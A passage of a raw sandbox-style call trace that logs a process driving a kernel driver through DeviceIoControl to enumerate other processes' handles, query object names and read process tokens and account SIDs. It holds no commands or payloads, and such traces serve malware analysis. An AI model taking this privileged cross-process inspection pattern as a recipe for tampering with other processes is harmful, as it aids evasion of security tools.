Object=0xfffff88005473548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0137.926] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.926] PsReleaseProcessExitSynchronization () returned 0x2 [0137.926] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0137.926] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.926] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0137.926] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.926] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.926] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.926] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.926] PsAcquireProcessExitSynchronization () returned 0x0 [0137.926] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0) [0137.926] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0137.926] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.926] PsReleaseProcessExitSynchronization () returned 0x2 [0137.926] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0137.926] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.926] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0137.926] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.927] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.927] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0137.927] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.927] PsAcquireProcessExitSynchronization () returned 0x0 [0137.927] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054735d0) [0137.927] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0137.927] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.927] PsReleaseProcessExitSynchronization () returned 0x2 [0137.927] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0137.927] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.927] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0137.927] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.927] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.927] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0137.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.927] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0137.927] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.927] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0137.927] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.927] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.927] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.927] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.927] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.929] CloseHandle (hObject=0xc8) returned 1 [0137.929] CloseHandle (hObject=0xc0) returned 1 [0137.929] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.929] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.929] PsAcquireProcessExitSynchronization () returned 0x0 [0137.929] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.929] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0137.929] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.929] PsReleaseProcessExitSynchronization () returned 0x2 [0137.929] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.929] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.929] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0137.929] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.929] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.929] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0137.929] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.929] PsAcquireProcessExitSynchronization () returned 0x0 [0137.929] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.929] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0137.929] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.929] PsReleaseProcessExitSynchronization () returned 0x2 [0137.929] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.929] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0137.929] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0137.929] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.929] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.929] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.930] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.930] PsAcquireProcessExitSynchronization () returned 0x0 [0137.930] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.930] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.930] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.930] PsReleaseProcessExitSynchronization () returned 0x2 [0137.930] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.930] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.930] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.930] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.930] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.930] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0137.930] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.930] PsAcquireProcessExitSynchronization () returned 0x0 [0137.930] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.930] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0137.930] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.930] PsReleaseProcessExitSynchronization () returned 0x2 [0137.930] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.930] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.930] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0137.930] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.930] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.930] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.930] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.930] PsAcquireProcessExitSynchronization () returned 0x0 [0137.930] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.930] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0137.930] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.930] PsReleaseProcessExitSynchronization () returned 0x2 [0137.930] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.930] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.931] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0137.931] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.931] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.931] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0137.931] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.931] PsAcquireProcessExitSynchronization () returned 0x0 [0137.931] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.931] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0137.931] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.931] PsReleaseProcessExitSynchronization () returned 0x2 [0137.931] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.931] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.931] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0137.931] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.931] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.931] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.931] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.931] PsAcquireProcessExitSynchronization () returned 0x0 [0137.931] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.931] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0137.931] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.931] PsReleaseProcessExitSynchronization () returned 0x2 [0137.931] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.931] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.931] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0137.931] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.931] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.931] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.932] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.932] PsAcquireProcessExitSynchronization () returned 0x0 [0137.932] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.932] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.932] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.932] PsReleaseProcessExitSynchronization () returned 0x2 [0137.932] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.932] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.932] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.932] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.932] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0137.932] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.932] PsAcquireProcessExitSynchronization () returned 0x0 [0137.932] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.932] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0137.932] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.932] PsReleaseProcessExitSynchronization () returned 0x2 [0137.932] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.932] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.932] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0137.932] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.932] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.932] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.932] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.932] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.932] PsAcquireProcessExitSynchronization () returned 0x0 [0137.932] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.932] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.932] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.932] PsReleaseProcessExitSynchronization () returned 0x2 [0137.933] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.933] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.933] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.933] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.933] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.933] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.933] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.933] PsAcquireProcessExitSynchronization () returned 0x0 [0137.933] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054735d0) [0137.933] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0137.933] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.933] PsReleaseProcessExitSynchronization () returned 0x2 [0137.933] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0137.933] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.933] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0137.933] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.933] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.933] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc18) returned 0xc0 [0137.933] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.933] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0137.933] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000738) returned 0x0 [0137.933] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x14 [0137.933] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000738, DesiredAccess=0x8, TokenHandle=0xfffffa8002506ac0 | out: TokenHandle=0xfffffa8002506ac0*=0xc8) returned 0x0 [0137.933] ZwClose (Handle=0xffffffff80000738) returned 0x0 [0137.933] IofCompleteRequest (Irp=0xfffffa8002507ee0, PriorityBoost=0) [0137.933] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, 